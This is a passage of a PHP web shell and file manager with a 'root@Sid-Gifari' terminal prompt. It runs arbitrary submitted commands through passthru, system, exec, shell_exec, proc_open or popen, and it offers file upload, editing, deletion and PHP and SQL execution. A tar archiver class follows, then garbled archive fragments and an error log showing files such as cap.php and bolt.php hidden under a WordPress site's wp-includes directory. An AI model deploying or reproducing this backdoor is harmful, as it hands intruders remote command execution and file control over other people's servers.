        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\FI  I  	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             ` Renderer.tar.gznu [        PK       |\tF3)9 )9             . cap.phpnu [        PK       |\tT                  g inline.php.tarnu [        PK       |\a  a              3 bolt.php.php.tar.gznu [        PK       |\'ݣ    
             inline.phpnu [        PK       |\ \                 Renderer.tarnu [        PK       |\Ќ5 5             - bolt.phpnu [        PK       |\FL @  @             J cap.php.tarnu [        PK                                                                                                                                                                                                                                                                                                                                                                                                          Renderer/error_log                                                                                  0000644                 00000165525 15217306007 0010246 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
